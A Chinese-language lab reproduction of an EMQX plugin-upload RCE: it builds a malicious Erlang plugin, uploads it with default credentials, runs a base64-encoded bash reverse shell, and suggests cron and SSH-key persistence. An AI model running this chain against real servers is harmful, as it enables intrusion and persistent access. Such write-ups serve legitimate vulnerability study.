影响版本
漏洞影响版本:5.8.6 版本以前
环境搭建
使用docker进行启动:
docker pull emqx/emqx-enterprise:5.5.1
docker run -d --name emqx-enterprise -p 1883:1883 -p 8083:8083 -p 8084:8084 -p 8883:8883 -p 18083:18083 emqx/emqx-enterprise:5.5.1
启动后访问http://ip:18083
,登录的账号/密码:admin/public,登录后需要进行修改密码也可以进行跳过。
漏洞复现
制作恶意插件
1、安装相关软件以及依赖条件
sudo apt update
sudo apt install -y build-essential autoconf libncurses5-dev libssl-dev libwxgtk3.2-dev libgl1-mesa-dev libglu1-mesa-dev libpng-dev libssh-dev unixodbc-dev cmake
git clone https://github.com/asdf-vm/asdf.git ~/.asdf --branch v0.13.1
echo '. "$HOME/.asdf/asdf.sh"' >> ~/.bashrc
echo '. "$HOME/.asdf/completions/asdf.bash"' >> ~/.bashrc
source ~/.bashrc
asdf --version
2、安装erlang、rebar3
asdf plugin-add erlang https://github.com/asdf-vm/asdf-erlang.git
asdf install erlang 25.3
asdf global erlang 25.3
wget https://s3.amazonaws.com/rebar3/rebar3
chmod +x rebar3
sudo mv rebar3 /usr/local/bin/
在安装erlang时需要设置网络代理
export http_proxy=http://192.168.88.108:7897
export https_proxy=http://192.168.88.108:7897
3、创建插件
rebar3 new emqx-plugin my_emqx_plugin
4、修改执行的命令
可以修改插件my_emqx_plugin/src/my_emqx_plugin.erl
文件的第47行,修改要执行的命令
vim my_emqx_plugin/src/my_emqx_plugin.erl
5、编译生成压缩文件.tar.gz
make -C my_emqx_plugin rel
在my_emqx_plugin
父文件夹中执行该命令,my_emqx_plugin
在root
目录下则在root
目录下执行该命令。
命令执行完成后会生成.tar.gz
文件
你可以使用如下命令,将压缩文件复制到你的当前目录:
cp my_emqx_plugin/_build/default/emqx_plugrel/my_emqx_plugin-1.0.0.tar.gz .
上传插件
将生成的插件进行上传
上传插件后启动插件,即可执行设置好的命令。
进入容器查看容器中是否创建了文件
看到已经成功创建了poc.txt文件。
反弹shell
修改文件,这里是base64进行bash的反弹shell:
os:cmd("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjIwNi84ODc3IDA+JjEK | base64 --decode | bash"),
重新编译生成压缩文件:
重新上传并启动插件,并查看shell是否返回
这里启动后会反弹shell,但是插件会启动失败,反弹回来的权限为emqx低权限
如果是其他环境中,可以考虑使用多个命令写入定时任务,写入公钥来进行权限维持和权限的提升,具体还请自行尝试
参考链接
https://github.com/ricardojoserf/emqx-RCE?tab=readme-ov-file